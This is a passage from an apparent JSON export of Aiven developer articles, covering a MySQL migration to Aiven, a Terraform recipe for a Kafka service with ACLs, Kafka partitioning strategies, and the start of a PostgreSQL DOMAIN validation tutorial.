16:45:00', 75.00);\n\n-- Create the third table\nCREATE TABLE products (\n product_id INTEGER PRIMARY KEY,\n name VARCHAR(50) NOT NULL,\n price DECIMAL(10,2) NOT NULL\n);\n\n-- Add sample data to the products table\nINSERT INTO products (product_id, name, price)\nVALUES\n (1, 'Widget', 10.00),\n (2, 'Gadget', 20.00),\n (3, 'Doohickey', 5.00);\n```\n\nOne of the requirements of this migration is that GTID should be enabled on the source database. To check if GTID is enabled, execute:\n\n```sql\nshow global variables like 'gtid_mode';\n```\n\nIf `gtid_mode` is `ON`, your configuration is Ok. Else, you might need to check if some backup configurations like PITR are disabled or not.\n\nAt this point, you can execute `\\q` to disconnect the database connection.\n\n### Prepare the target database\n\nThe target database in my case is Aiven for MySQL running version 8.0. Assuming that you already have an Aiven account, navigate to [Aiven console](https://console.aiven.io/) and click **Create service**. Select **MySQL** as the service, choose your preferred cloud and region, select a service plan (**Hobbyist** or **Startup-4** will do), and give your MySQL service a name. I named my Aiven for MySQL service *new-mysql80-db*. Click **Create service** and the service creation process will go through *rebuilding* to *running* state.\n\nOnce *new-mysql80-db* service is running, you can check from the **Overview** page the service URI, hostname, port, and other connection details. If you have **mysqlsh** CLI tool installed, ensure that your connection to Aiven for MySQL works:\n\n```\nexport NEW_DB_URI=YOUR_AIVEN_FOR_MYSQL_SERVICE_URI\nmysqlsh --sql $NEW_DB_URI\n```\n\nIf the connection is successful, you can execute `ctrl+D` to close the connection.\n\nMake a note of the hostname for *new-mysql80-db* service. You'll need it to find the IP address of the service next. \n\n### Step 3: Authorize network IP\n\nBy default, the Google Cloud SQL instance blocks all incoming IP address to the database instance. In order to establish a connection, you'll need to specify CIDR ranges to allow specific IP addresses in those ranges to access your instance. Since you only need to connect from one specific IP address (the source database), you can add its IP address to the list of authorized networks for the target database.\n\nHowever, you only know the hostname for the Aiven for MySQL service. Use the hostname you noted down from the previous section to find out the IP address for your Aiven for MySQL service. \n\nTo find the IP address of your service, ping the hostname from the terminal:\n\n```shell\nping YOUR_HOSTNAME_HERE\n```\n\nThe response will contain the IP address that corresponds to this hostname. Here's an example:\n\n```shell\nPING dewan-redis-demo-devrel-dewan.aivencloud.com (34.118.135.75): 56 data bytes\n64 bytes from 34.118.135.75: icmp_seq=0 ttl=59 time=24.713 ms\n```\n\nOn your Google Cloud SQL instance, navigate to the **Connections** --\u003e **Networking** tab, and click **Add network**. Add the IP address of your Aiven for MySQL service with a /32 CIDR notation. For example, if the IP address is 34.35.36.37, you'll add `34.35.36.37/32` in the *Network* field. You can, optionally, give this network a name. Once done, hit **Save**.\n\nRemember, without this step, some source database might not allow incoming network connection from the target database.\n\n::alert[The IP address of your Aiven for MySQL service will change whenever a new node is deployed (scale up/down, maintenance, patches, etc). Static IPs have an extra charge associated with them and require setup.]\n\n### Step 4: Start the database migration\n\nFrom your Aiven for MySQL service's **Overview** tab, click on **Set up migration** and follow the steps. The first step is to read the guidelines for a successful database migration. For the validation step, add your source database hostname or IP, the port number, database user, and password. For my case, I used Google Cloud SQL and used the instance IP address instead of a hostname.\n\nIf you're receing the following error during the validation step of the migration, you might not have authorized the target database IP.\n\n```\naiven_mysql_migrate.exceptions.EndpointConnectionException: Connection to source failed: (2003, \"Can't connect to MySQL server on 'XX.XXX.XXX.XXX' (timed out)\")\n```\n\nGoogle Cloud SQL also has a handy tool to test service connectivity between the source and target databases under **Connections** --\u003e **CONNECTIVITY TESTS**. \n\nOnce the validation step is successful, you can proceed to **Start migration**. While the database migration is in progress, here are some things to keep in mind:\n\n- Do not write to any target database tables\n- Do not manually change the source database's replication or GTID configuration\n- Avoid any modifications that may disrupt the connection between the source and target databases, such as updating firewalls or trusted sources\n\n### Step 5: Test the migrated data\n\nLet's connect to Aiven for MySQL, the target database. \n\n```\nmysqlsh --sql $NEW_DB_URI\n```\n\nEnsure that *old-mysql57-db* is selected.\n\n```sql\nuse old-mysql57-db;\n```\n\nList tables to ensure all data is replicated.\n\n```sql\nshow tables;\n```\n\nYou can take a step further and check each of the table to ensure all the rows got replicated correctly.\n\n\n### Step 6: Update app configuration and redirect traffic\n\nOnce the migration is completed, you'll see a message \"Congratulations, migration is completed!\". At this point, follow these steps:\n\n1. Stop writes to source database\n2. Update connection settings\n3. Restrict public access\n4. Close the connection (click **Close connection** on the wizard)\n5. Restart all applications\n\n### Wrap up\n\nIn this tutorial, you learned about migrating a MySQL database from Google Cloud SQL to Aiven for MySQL. Although the sample databases might not be as large or complex like the ones in production, the underlying concepts of database migration still apply. \n\nOftentimes, database migration can seem like a daunting task, but with the right approach and tools, it can be done smoothly and efficiently. By following the best practices outlined in this tutorial, you can ensure that your migration is successful and that your data remains safe and secure throughout the process. It's important to test thoroughly and monitor the migration carefully to minimize the risk of data loss or downtime. Additionally, don't forget to update your application's connection strings and perform any necessary configuration changes to ensure a seamless transition to the new database.\n\nIf you have any questions, please don't hesitate to ask in the [Aiven community forum](https://aiven.io/community/forum/c/mysql/16).\n\nWe also recommend the following documentation: \n\n- [Aiven for MySQL](https://aiven.io/docs/products/mysql/overview)\n- [Advanced parameters for Aiven for MySQL databases](https://aiven.io/docs/products/mysql/reference/advanced-params)\n- [Migrate an Apache Kafka instance using MirrorMaker 2](https://aiven.io/developer/kafka-migration-mirrormaker2) \n","feature":{"_type":"featuredItem","active":false,"endDate":"2023-07-06T08:30:47.231Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"internalTags":[{"_key":"8b2e5d340717","_ref":"e518505d-84ca-4d42-8c11-077ba192bf3e","_type":"tag"}],"publishedAt":"2023-06-29T08:29:47.198Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"Migrate a MySQL database to a new version and cloud provider with Aiven","asset":{"_ref":"image-8f77cec0155b43f89c31a94331debb7e8dec2fa4-2500x1308-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/migrate-a-mysql-database-to-a-new-cloud-provider"},"subtitle":"Learn how to safely migrate a MySQL database to a new cloud provider, region and version without losing data on the Aiven platform","tags":[{"_key":"4ad8d2552168","_ref":"84cb2f1d-1db5-4eed-b049-86cc5f2715ef","_type":"tag"},{"_key":"32a2d1a68db4","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"},{"_key":"bf01fa985a36","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"},{"_key":"de0a953e6b66","_ref":"d4e858d3-c34f-479f-b156-3ad83e807091","_type":"tag"}],"title":"Migrate a MySQL database to a new version and cloud provider"} {"__i18n_lang":"en","_createdAt":"2023-08-22T09:20:29Z","_id":"d4596bb2-1427-497d-b642-ea2c94095067","_rev":"VeNKqGNmt13PzvGhqsSuTu","_type":"devArticle","_updatedAt":"2024-01-29T15:48:51Z","body":"This example deploys an [Aiven for Apache Kafka®](https://aiven.io/kafka) service with some custom configurations, as well as a Kafka topic, a Kafka user, and an access control list (ACL) to allow fine-grained permissions about which topic that user can access, using the [Aiven Terraform Provider](https://registry.terraform.io/providers/aiven/aiven/latest/docs)\n\nBefore looking at the Terraform script, let's visualize the resources:\n\n:::mermaid\n\n flowchart LR\n subgraph Aiven-for-Apache-Kafka\n id4[[Aiven Kafka User]]\n id5[[Aiven Kafka User ACL]]\n end\n Producer --\u003e Aiven-for-Apache-Kafka --\u003e Consumer\n\n:::\n\nBe sure to check out the [getting started guide](https://aiven.io/docs/tools/terraform/get-started) to learn about the common files required to execute the following recipe. For example, you'll need to declare the variables for ``project_name``, ``api_token``, and ``kafka_user_name``.\n\n## Common files\n\n\nNavigate to a new folder and add the following files.\n\nAdd the following to a new ``provider.tf`` file:\n\n```toml\nterraform {\n required_providers {\n aiven = {\n source = \"aiven/aiven\"\n version = \"\u003e=4.0.0, \u003c 5.0.0\"\n }\n }\n}\n\nprovider \"aiven\" {\n api_token = var.aiven_api_token\n}\n```\n\nYou can also set the environment variable ``TF_VAR_aiven_api_token`` for the ``api_token`` property. With this, you don't need to pass the ``-var-file`` flag when executing Terraform commands.\n\nTo avoid including sensitive information in source control, the variables are defined here in the ``variables.tf`` file. You can then use a ``*.tfvars`` file with the actual values so that Terraform receives the values during runtime, and exclude it.\n\nThe ``variables.tf`` file defines the API token, the project name to use, and the prefix for the service name:\n\n```toml\nvariable \"aiven_api_token\" {\n description = \"Aiven console API token\"\n type = string\n}\n\nvariable \"project_name\" {\n description = \"Aiven console project name\"\n type = string\n}\n\nvariable \"kafka_user_name\" {\n description = \"Username for Aiven for Apache Kafka user\"\n type = string\n} \n```\n\nThe ``var-values.tfvars`` file holds the actual values and is passed to Terraform using the ``-var-file=`` flag.\n\n``var-values.tfvars`` file:\n\n```toml\naiven_api_token = \"\u003cYOUR-AIVEN-AUTHENTICATION-TOKEN-GOES-HERE\u003e\"\nproject_name = \"\u003cYOUR-AIVEN-CONSOLE-PROJECT-NAME-GOES-HERE\u003e\"\nkafka_user_name = \"\u003cA-SAMPLE-USERNAME\u003e\"\n```\n\n## Services.tf file \n\nHere is the sample Terraform script to stand-up Aiven for Apache Kafka and related resources. The script also performs some custom configurations on these resources.\n\n``services.tf`` file:\n\n```toml\nresource \"aiven_kafka\" \"demo-kafka\" {\n project = var.project_name\n cloud_name = \"google-europe-west1\"\n plan = \"business-4\"\n service_name = \"demo-kafka\"\n maintenance_window_dow = \"sunday\"\n maintenance_window_time = \"01:00:00\"\n default_acl = false\n\n kafka_user_config {\n kafka_rest = true\n kafka_connect = false\n schema_registry = true\n kafka_version = \"3.4\"\n\n kafka {\n auto_create_topics_enable = true\n num_partitions = 3\n default_replication_factor = 2\n min_insync_replicas = 2\n }\n\n kafka_authentication_methods {\n certificate = true\n }\n\n public_access {\n kafka_rest = true\n }\n }\n}\n\nresource \"aiven_kafka_topic\" \"demo-kafka-topic\" {\n project = var.project_name\n service_name = aiven_kafka.demo-kafka.service_name\n topic_name = \"demo-kafka-topic\"\n partitions = 5\n replication = 3\n}\n\nresource \"aiven_kafka_user\" \"demo-kafka-user\" {\n project = var.project_name\n service_name = aiven_kafka.demo-kafka.service_name\n username = var.kafka_user_name\n}\n\nresource \"aiven_kafka_acl\" \"demo-kafka-user-acl\" {\n project = var.project_name\n service_name = aiven_kafka.demo-kafka.service_name\n username = var.kafka_user_name\n permission = \"read\"\n topic = aiven_kafka_topic.demo-kafka-topic.topic_name\n}\n```\n \n## Execute the files \n\nThe ``init`` command performs several different initialization steps in order to prepare the current working directory for use with Terraform. In our case, this command automatically finds, downloads, and installs the necessary Aiven Terraform provider plugins.\n \n```shell\nterraform init\n```\n\nThe ``plan`` command creates an execution plan and shows you the resources that will be created (or modified) for you. This command does not actually create any resource; this is more like a preview.\n\n```bash\nterraform plan -var-file=var-values.tfvars\n```\n\nIf you're satisfied with the output of ``terraform plan``, go ahead and run the ``terraform apply`` command which actually does the task or creating (or modifying) your infrastructure resources. \n\n```bash\nterraform apply -var-file=var-values.tfvars\n```\n\nLet's go over a few of these configurations and understand their functions:\n\n``aiven_kafka`` resource configurations:\n\n- ``default_acl`` parameter, when set to **true**, creates default wildcard Kafka ACL. This example sets this parameter to **false** and prevents the default wildcard ACL for resources.\n\n- For ``kafka_user_config``, ``schema_registry`` is set to **true**, which enables the `Karapace Schema Registry \u003chttps://aiven.io/blog/what-is-karapace\u003e`_ and ``kafka_rest`` allows you to view the messages in the topics from the Aiven web console when set to **true**.\n\n- ``auto_create_topics_enable`` under ``kafka`` nested configurations enables the auto creation of topics when set to **true**. This means that a topic doesn't need to exist before sending a message.\n\n- ``num_partitions`` will set the number of partitions for the automatically created topics.\n\n- By default, the replication factor is 2. This example sets ``default_replication_factor`` to 2 and thus requires a minimum of two brokers. For production environments, a replication factor of 3 is recommended. \n\n- ``min_insync_replicas`` indicates that at least 2 replicas (brokers) should respond back if all replicas(brokers) are not functioning properly. When all replicas are functioning properly, this setting has no effect. \n\n- The ``certificate`` parameter under the ``kafka_authentication_methods`` nested configurations, when set to **true**, enables certificate/SSL authentication.\n\n``aiven_kafka_topic`` resource configurations:\n\n- ``partitions`` denotes the number of partitions to create in the topic, and ``replication`` sets the replication factor for the topic.\n\n``aiven_kafka_user`` resource configurations:\n\n- We are passing a preset username using ``var.kafka_user_name``\n\n``aiven_kafka_acl`` resource configurations:\n\n- This ACL allows **read** access to the ``demo-kafka-topic`` topic for the ``var.kafka_user_name`` user. \n\n::alert[By default, Aiven adds an ``avnadmin`` account to every new service and adds `admin` permission for all topics to that user. When you create your own ACLs to restrict access, you probably want to remove this ACL entry.]{title=\"Warning\"}\n\n::alert[When using the Aiven Terraform Provider, you can add the ``default_acl`` key to your ``resource`` and set it to ``false`` if you do not want to create the admin user with wildcard permissions.]{title=\"Note\"}\n\nMore resources\n--------------\n\nKeep in mind that some parameters and configurations will vary for your case. Some related resources are provided below:\n\n- [Configuration options for Aiven for Apache Kafka](https://aiven.io/docs/products/kafka/reference/advanced-params.html)\n- [Aiven for Apache Kafka access control lists permission mapping](https://aiven.io/docs/products/kafka/concepts/acl.html)\n- [How to Manage Aiven for Apache Kafka Parameters](https://www.youtube.com/watch?v=pXQZWI0ddLg)\n- [Set up your first Aiven Terraform project](https://aiven.io/docs/tools/terraform/get-started.html)","feature":{"_type":"featuredItem","active":false,"endDate":"2023-08-29T09:20:07.943Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"internalTags":[{"_key":"de5df780f165","_ref":"3d8ecd72-b886-4aaa-b207-2fbafc931f22","_type":"tag"}],"publishedAt":"2023-08-21T08:28:37.110Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-dfb7670755fa79dd22f530c2a23ce8841d166754-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/apache-kafka-with-custom-configurations"},"subtitle":"Deploy an Apache Kafka® node to Aiven for Apache Kafka® with custom configurations defined in Terraform. A part of Aiven's Terraform Cookbook.","tags":[{"_key":"478a10066927","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"56f4fc2dd393","_ref":"6496a8e4-6fbe-43d6-b945-f2505fd3b34a","_type":"tag"}],"title":"Apache Kafka® with custom configurations"} {"__i18n_lang":"en","_createdAt":"2023-03-24T15:11:36Z","_id":"d960c073-cd01-4c1e-945b-6056d48b0a60","_rev":"lhvtNBOlLYH5KiQFQ8a2Xd","_type":"devArticle","_updatedAt":"2024-01-29T15:51:41Z","body":"Apache Kafka® is a distributed system. At its heart is a **set of brokers** that stores records persistently inside **topics**. Topics, in turn, are split into **partitions**. Dividing topics into such pieces allows storing and reading data in parallel. In this way producers and consumers can work with data simultaneously, achieving higher throughput and scalability.\n\nThis makes partitions crucial for a performant cluster. Reading data from distributed locations comes with two big challenges:\n\n- [**Message order:**](#challenge-of-message-order) Distributed systems split load-intensive tasks into multiple pieces that can be independently processed in parallel. In this way, we get results faster compared to the linear model. Unlike the linear approach, however, distributed systems **by design do not guarantee the order of processed data**. That’s why for such systems to work successfully, we need to make sure that the data is properly divided into independent chunks and that we understand the effect of this division on the data ordering.\n- [**Uneven record distribution:**](#challenge-of-uneven-record-distribution) Dividing data across partitions means there's a risk that partition records are distributed unevenly. To prevent this, our system needs to partition records intelligently, so that the data is proportionately balanced across available servers and across their local filesystems. \n\n\nBelow we look deeper into these challenges and mechanisms to balance load over partitions to make the best use of the cluster.\n\n## Challenge of message order\n\nTo understand what is happening with record ordering, take a look at the example visualized below. There you can see the data flow for a topic that is divided into three partitions. Messages are pushed by a producer and later retrieved by a consuming application one by one. \n\n\u003c!-- random-partitioning --\u003e\n![New records A-I being assigned to partitions 1-3 randomly. Partitions get ADG, BEH and CFI. The consumer receives IFCHEGBDA. The order within partitions is preserved.](https://cdn.sanity.io/images/sczeoy4w/production/620064c4f9222a189deb8f99dc0a45c858e90235-800x248.png)\n\nWhen consuming data from distributed partitions, we cannot guarantee the order in which consumers go through the list of partitions. That's why the sequence of the messages read by a consumer ends up different from the original order sent by the producer.\n\nReshuffling records can be totally fine for some scenarios, but for other cases you might want to read the messages in the same order as they were pushed by the producer.\n\nThe solution to this challenge is to rely on the order of the records within a single partition, where the data is guaranteed to maintain the original sequence.\n\n\u003c!-- sequence-order-guarantees --\u003e\n![Sequence order is guaranteed per partition (ADG, BEH and CFI), but not across partitions (the consumer gets ADBFEHCFI)](https://cdn.sanity.io/images/sczeoy4w/production/2361681d8b64253eaf80b0639c913fae4a76c428-800x426.png)\n\nAnd that's why, when building the product architecture, we should carefully weigh up the partitioning logic and mechanisms used to ensure that the sequence of the messages remains correct when consumers read the data.\n\n### Ways to partition data based on different scenarios\n\nThe way messages are divided across partitions is always defined in the logic of the client, meaning that it is not the **topic** which specifies this logic, but the **producers**, who push the data into the cluster. In fact, if needed, different producers can have separate partitioning approaches.\n\nThere are a variety of tools you can use to distribute data across partitions. To understand these alternatives we'll look at several scenarios.\n\n### Scenario # 1: the order of messages is not important\n\nIt's possible that, in your system, it is not necessary to preserve the order of messages. Lucky you! You can rely on the default partitioning mechanism provided by Apache Kafka and no additional logic is needed for the producers.\n\nAs an example of this scenario, imagine a service to send SMS messages. Your organization uses SMS to notify customers, and the messages are divided across multiple partitions so that they can be consumed by different processing applications in parallel. We want to distribute the work and process the messages as fast as possible. However, the **order** in which the SMS messages reach the recipients is not important. \n\nIn such cases, Apache Kafka uses a **sticky partitioning** approach (introduced as a default partitioner from version 2.4.0). This default method batches records together before they're sent to the cluster. After the batch is full or the \"linger time\" `linger.ms` is reached, a batch is sent and a new one is created for a different partition. This approach helps decrease latency when producing messages.\n\n\u003c!-- batch --\u003e\n![New records A, B, C, D and are sent to partition 1 as a batch](https://cdn.sanity.io/images/sczeoy4w/production/874f2382bb973bf0a4257b8298a4cad3f0bc8bb6-800x397.png)\n\nHere's a code snippet written in Java which sends a single message into a randomly assigned partition. This is a default behavior and doesn't need any additional logic from your side.\n\n```java\n\n // add necessary properties to connect \n // to the cluster and set up security protocols\n Properties properties = new Properties(); \n \n // create a producer\n KafkaProducer\u003cString,String\u003e producer =\n new KafkaProducer\u003cString, String\u003e(properties);\n String topicName = \"topic-name\";\n\n // generate new message\n String message = \"A message\";\n\n // create a producer record\n ProducerRecord\u003cString, String\u003e record =\n new ProducerRecord\u003c\u003e(topicName, message);\n\n // send data\n producer.send(record);\n logger.info(\"Sent: \" + message);\n\n```\n\n### Scenario # 2: the order is important for groups of records defined with a key\n\nEven though some scenarios do not require maintaining message sequence, the majority of cases do. Imagine, for example, that you run an online shop where customers trigger different events through your applications, and information about their activity is stored in a topic in an Apache Kafka cluster. In this scenario, the order of events for every single customer is important, while the order of events across the customers is irrelevant.\n\n\u003c!-- users-and-actions --\u003e\n![The order of actions taken by individual users are preserved, but don't need to stay adjacent.](https://cdn.sanity.io/images/sczeoy4w/production/4c2da3ca1a6fe3764b8cf234447e3f1eeb539c63-800x242.png)\n\nThat's why our goal is to preserve the correct sequence of the messages related to every individual customer. We can achieve this if we store the records for every individual customer consistently in a dedicated partition.\n\nThe default partitioner can already do it for you, if you define a proper key for each of the messages.\n\nEvery record body in an Apache Kafka topic consists of two parts - the **value** of the record and an **optional key**. The key plays a dramatic role in how messages are distributed across the partitions - all messages with the same key are added to the same partition.\n\nFor our example, the most obvious choice for a key is the id of a customer, which we can use to partition the data. This is visualized below where, for simplicity, we assume that we have three customers (`John`, `Claire` and `Burt`) and three partitions.\n\n\u003c!-- using-key --\u003e\n![A key can be used to decide which partition an event goes to. Here, the user is the key. Partition 1 gets events for John, partition 2 those for Claire, and partition 3 those for Burt.](https://cdn.sanity.io/images/sczeoy4w/production/41ec1d7ec9c830f60138224c5e03ec9ce8827a9a-800x357.png)\n\nOnce the data with the key `John` is stored in a partition, Apache Kafka remembers to send all future messages with the identical key into the same partition.\n\nThis visualization includes just three customers, one for each partition. In real life you might need to store data for multiple customers (or devices, or vehicles, etc.) in a single partition.\n\nThe code snippet below shows how to use a key when creating a record:\n\n```java\n // create a producer record\n String key = message.get(\"customerId\").toString();\n String value = message.toString();\n ProducerRecord\u003cString, String\u003e record = new ProducerRecord\u003c\u003e(topicName, key, value);\n```\n\nWhat's important to note is that Apache Kafka doesn't use a string representation of the key. Instead it converts the key into a **hash value**, which means that there is a probability of a hash collision, when two different keys create the same hash resulting in data assigned to the same partition. Is this something you need to avoid? Scroll down to read about the custom partitioner!\n\n### Scenario # 3: partition numbers are known in advance\n\nSometimes you want to control which message goes to which partition. For example, maybe the target partition depends on the day of the week when the data is generated. Assuming your system has seven partitions:\n\n```java\n // create a producer record\n String key = message.get(\"customer\").toString();\n String value = message.toString();\n LocalDate today = LocalDate.now();\n Integer partitionNumber = today.getDayOfWeek().getValue();\n ProducerRecord\u003cString, String\u003e record = new ProducerRecord\u003c\u003e(topicName, partitionNumber, key, value);\n```\n\n### Scenario # 4: achieve maximum flexibility\n\nThe tools we've looked at above will help in many use cases. In some situations, however, you might need higher flexibility and might want to customize the logic of partitioning even farther. For this, Apache Kafka provides a mechanism to plug in a **custom partitioner**, that divides the records across partitions based on the content of a message or some other conditions.\n\nYou can use this approach if you want to group the data within a partition according to a custom logic. For example, if you know that some sources of data bring more records than others, you can group them so that no single partition is significantly bigger or smaller than others. Alternatively, you might want to use this approach if you want to base partitioning on a group of fields, but prefer to keep the key untouched.\n\nIn a custom partitioner you have access to both key and value of the record before deciding into which partition you want to put the message. To create a custom partitioner you'll need to implement a partitioner class and define the logic of its methods. Here is an example of a custom partitioner written in Java:\n\n```java\npublic class customPartitioner implements Partitioner {\n\n public void configure(Map\u003cString, ?\u003e configs) {\n }\n\n public int partition(String topic, Object key, byte[] keyBytes, Object value, byte[] valueBytes, Cluster cluster) {\n // get the list of available partitions\n List\u003cPartitionInfo\u003e partitions = cluster.partitionsForTopic(topic);\n int numPartitions = partitions.size();\n \n int partition = ...;\n \n return partition;\n }\n\n public void close() {\n }\n}\n```\n\nOnce you've defined the custom partitioner, reference it in your producer:\n\n```java \n Properties properties = new Properties();\n properties.put(\"partitioner.class\", \"customPartitioner\");\n \n KafkaProducer\u003cString, String\u003e producer = new KafkaProducer\u003c\u003e(properties);\n```\n\nNow every arriving record is analyzed by a custom partitioner before it is put into a designated partition.\n\n### Scenario # 5: round robin and uniform sticky partitioning\n\nThere are two more built-in partitioners that you can consider. The first is `RoundRobinPartitioner` which acts according to its name - iterating over all partitions and distributing items one by one ignoring any provided key values. Round robin, unfortunately, is known to cause uneven distribution of records across partitions. Furthermore, it is less performant compared to the default sticky mechanism, where records are combined into batches to speed up producing time. \n\nAnother built-in partitioner is `UniformStickyPartitioner`, which acts similarly to `DefaultPartitioner` but ignores the key value. \n\n## Challenge of uneven record distribution\n\nWhen defining partitioning logic, carefully evaluate how your partitions will be growing over time. You need to understand if there is a risk that a selected mechanism will result in uneven message distribution. \n\nThere are a variety of scenarios when uneven distribution can happen.\n\nFor example, when the default partitioner sends a huge batch of data to a single partition. When using the default partitioner, consider the proper settings for \"linger time\" and a maximum size of the batch that fits your particular scenarios. For example, if your product is frequently used during the day, but almost no records come in at night, it is common to set \"linger time\" low and batch size high. However, with these settings there is a probability that if you have an unexpected surge of data, this influx of records is added to a single batch and sent to a single partition, leading to uneven message distribution.\n\nAnother case of uneven message distribution can happen when you distribute records by keys, but the amount of data related to some keys is significantly bigger than for others. For instance, imagine that you run an image gallery service and divide data across partitions by user id. If some of your users use the service significantly more frequently, they produce significantly more records, increasing the size of some partitions.\n\nSimilar to the scenario above, if you rely on days and times to distribute the data, some dates - such as Black Friday or Christmastime - can generate considerably more records.\n\nAdditionally, uneven distribution can happen when you move data from other data sources with the help of Kafka Connect. Make sure that the data is not heavily written to a single partition, but distributed evenly.\n\nOverall, uneven message distribution is a complex problem that's easier to prevent than to solve later. Rebalancing messages across partitions is a challenging task because in many scenarios partitions preserve the necessary order of the messages, and rebalancing can destroy the correct sequence.\n\n::banner[How does this happen, what is the impact, and how to avoid it?]{ctaText=\"Watch the Helsinki developer meetup recording\" ctaLink=\"https://www.youtube.com/watch?v=tQMfXmzBnaQ\" title=\"Uneven distribution across Kafka partitions\" theme=\"dark\"}\n\n\n## Conclusions\n\nApache Kafka provides a set of tools to distribute records across multiple partitions. However, the responsibility for a durable architecture, and selection of the strategy to distribute the messages, lies on the shoulders of the engineers building the system. \n\nIf you'd like to learn more about Apache Kafka, check out these articles:\n\n- [What is Apache Kafka®?](https://aiven.io/blog/what-is-apache-kafka)\n- [Database migration with Apache Kafka® and Apache Kafka® Connect](https://aiven.io/developer/db-technology-migration-with-apache-kafka-and-kafka-connect)\n- [Using Kafka Connect JDBC Source: a PostgreSQL® example](https://aiven.io/blog/using-kafka-connect-jdbc-source-a-postgresql-example)\n- [Manage Apache Kafka® Connect connectors with kcctl](https://aiven.io/blog/manage-apache-kafka-connect-connectors-with-kcctl)\n\nOr poke around [our Apache Kafka documentation](https://aiven.io/docs/products/kafka) and try out [Aiven for Apache Kafka](https://console.aiven.io/signup) ","feature":{"_type":"featuredItem","active":false,"endDate":"2023-03-31T14:11:21.010Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"internalTags":[{"_key":"f00fc5d9e1c3","_ref":"0a74c077-c383-4811-9951-c849b80df99b","_type":"tag"}],"publishedAt":"2022-10-27T13:50:00.000Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-2ff6bfe25fe1c09455c1367912b235d0d0085f24-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/balance-data-across-kafka-partitions"},"subtitle":"When it comes to making a performant Apache Kafka® cluster, partitioning is crucial. Read this article to learn which tools you can use to partition your data.","tags":[{"_key":"8573a0da5a25","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"}],"title":"Ways to balance your data across Apache Kafka® partitions"} {"__i18n_lang":"en","_createdAt":"2023-05-04T10:01:35Z","_id":"fa11e629-f8d4-4f17-9972-5520d86c7a42","_rev":"VeNKqGNmt13PzvGhqsSzwk","_type":"devArticle","_updatedAt":"2024-01-29T15:49:05Z","body":"When dealing with data inputs, there's always one or more fields that need strict validation: a T-shirt size can accept only a few precise values, a shoe size should be within a range of numbers, a phone number should follow a precise pattern. It's good to perform these checks at the application level, for example as a part of a form input, but for data consistency it's best to validate that data when adding it to the database as well. \n\nPostgreSQL® allows these checks to be performed in several ways, like using table constraints. In this article, we'll talk about the [DOMAIN feature](https://www.postgresql.org/docs/current/sql-createdomain.html), which defines column validation centrally for use across multiple database tables. We'll showcase the power and the limits of the DOMAIN approach, using some fairly basic examples of verifying Italian addresses in a table.\n\n## Centralized vs per-table approach\n\nAs mentioned before, the DOMAIN option allows defining the constraints of a column type once and reusing it across several tables. The benefit of a unique definition are evident: there's one truth and one point of contact. Needing to define the same constraints across several tables could result in human error or misalignment during constraint evolution.\n\nOn the other side, having a unique definition can be tricky in cases when different tables need to evolve such a definition in different ways or across different times. In such cases, having a unique point of contact can become dangerous. Check the examples below regarding [altering](#pay-attention-when-altering) and [dropping](#pay-attention-when-dropping) DOMAIN definitions for more info.\n\n## Pick a database\n\nFor our test case, we can use any kind of PostgreSQL, it being on-premises, Docker, or cloud, since the DOMAIN function is native to PostgreSQL and has been available for a long time. For the purpose of the blog we'll use Aiven for PostgreSQL®. [Sign up for an Aiven account](https://console.aiven.io/signup) if you don't have one already and [install the Aiven CLI](https://aiven.io/docs/tools/cli#install). \n\nYou'll need to [authenticate to the CLI](https://aiven.io/docs/tools/cli#authenticate) before you can create your first service and once authenticated, you can [create a service](https://aiven.io/docs/tools/cli/service#avn-service-create):\n\n```bash\navn service create demo-pg-italian-addresses \\\n --service-type pg \\\n --plan hobbyist \\\n --cloud google-europe-west3\n```\n\nThe above call creates an Aiven for PostgreSQL service (`--service-type pg`) named `demo-pg-italian-addresses`, using the smallest `hobbyist` plan on the `google-europe-west3` region.\nWe can wait for the service to be up and running with:\n\n```bash\navn service wait demo-pg-italian-addresses\n```\n\nAnd connect to it (this runs [psql](https://www.postgresql.org/docs/current/app-psql.html) for you, so that needs to be installed) with:\n\n```bash\navn service cli demo-pg-italian-addresses\n```\n\n## Define the allowed Italian street values\n\nFor the purposes of this demonstration, let's say Italian streets begin with three indicators: Via, Viale, and Piazza. In reality there are more ways to indicate streets in Italy, but let's keep it simple for now.\n\nLet's use the [DOMAIN feature](https://www.postgresql.org/docs/current/sql-createdomain.html) to create a domain for these three values, `ITALIAN_ADDRESS`.\n\n```sql\nCREATE DOMAIN ITALIAN_ADDRESS\n TEXT\n NOT NULL\n CONSTRAINT ITALIAN_ADDRESS_CHECK CHECK(UPPER(VALUE) ~ '^(VIA|VIALE|PIAZZA) [A-Z \\-]+ [0-9]+[A-Z]*$');\n```\n\nIf we check the details of the above command we can see:\n\n* The name is `ITALIAN_ADDRESS`\n* The data type is `TEXT`\n* There is a `NOT NULL` constraint forcing the column to never be empty\n* There is a `CONSTRAINT` named `ITALIAN_ADDRESS_CHECK`. This performs a check, based on a [regular expression](https://www.postgresql.org/docs/current/functions-matching.html), ensuring the address:\n * Starts with one of `VIA`, `VIALE` or `PIAZZA` identifying the type of street/square\n * Is followed by a space and a string of `A-Z`, space or `-` characters identifying the street/square name\n * Is followed by a space one or more numbers (`+`) identifying the building number\n * Is followed by zero or more letters (`*`) identifying the block within the building\n\n## Use the domain within a table definition\n\nNow that we've defined the domain, we can use it when creating a table. Let's create the table `ADDRESSES` to host our customer information, such as the customer's name and their address:\n\n```sql\nCREATE TABLE ADDRESSES(\n ID SERIAL,\n NAME TEXT,\n ADDRESS ITALIAN_ADDRESS\n);\n```\n\nIn the above SQL, the `ADDRESS` column refers to the `ITALIAN_ADDRESS` domain. Now we can insert rows, checking that the domain rules are 